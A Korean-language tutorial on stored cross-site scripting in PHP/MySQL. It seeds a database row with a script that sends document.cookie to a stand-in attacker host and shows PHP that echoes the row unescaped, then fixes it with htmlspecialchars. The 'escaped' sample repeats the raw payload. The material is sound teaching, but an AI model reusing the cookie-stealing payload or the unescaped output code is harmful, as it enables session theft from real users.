Cross-Site Scripting
크로스 사이트 스크립팅은 사용자가 입력한 정보를 출력할 때 스크립트가 실행되도록 하는 공격기법이다. 다른 사이트로 어떤 정보를 전송하는 행위가 주로 일어나기 때문에 사이트간 스크립팅이라는 이름을 가지고 있다.
예제
우선 데이터베이스 환경부터 셋팅하자.
CREATE TABLE `xss` ( `id` int(11) NOT NULL AUTO_INCREMENT, `user_content` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8; INSERT INTO `xss` VALUES ('1', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Quisque nec tristique lectus. <script>document.write(\'<img src=\"http://attacker.php?data=\'+escape(document.cookie)+\'\" />\')</script>Sed congue, felis ut vulputate varius, dui lacus pretium dui, vitae iaculis nulla ipsum non massa.');
아래는 PHP 에플리케이션 코드다.
<?php mysql_connect('localhost', 'egoing', '111111'); mysql_select_db('advanced_php'); $result = mysql_query("SELECT * FROM XSS WHERE id=1"); ?> <!DOCTYPE html> <html> <head><meta charset="UTF-8" /></head> <body> <?=mysql_result($result,0,1)?> </body> </html>
위의 코드를 실행하면 XSS 테이블의 첫번째 데이터를 조회해서 user_content 필드의 데이터를 출력한다. 이 데이터 안에는 아래의 내용이 포함되어 있다.
<script>document.write('img src="http://attacker.net?data='+escape(document.cookie)+'" />')</script>
위의 내용은 자바스크립트로 이미지 태그를 만들고 그 태그가 아래 주소의 이미지를 로드한다.
http://attacker.net?data=
attacker.net으로 전달되는 data 데이터에는 현재 페이지의 쿠키가 전달된다. attacker.net의 소유자인 공격자는 data의 값으로 전달된 쿠키 정보를 통해서 사용자의 많은 정보를 파악할 수 있다.
해결책
해결책은 간단하다. htmlspecialchars를 사용하면 된다. 이 함수는 html 코드를 해석하지 않고 화면에 그대로 출력하도록 변환한다. 예를들어 위의 예제에서 사용된 스크립트 태그는 아래와 같이 변환된다.
<script>document.write('img src="http://attacker.php?data='+escape(document.cookie)+'" />')</script>
위의 예제에서 10라인을 아래와 같이 변경한다.
<?=htmlspecialchars(mysql_result($result,0,1))?>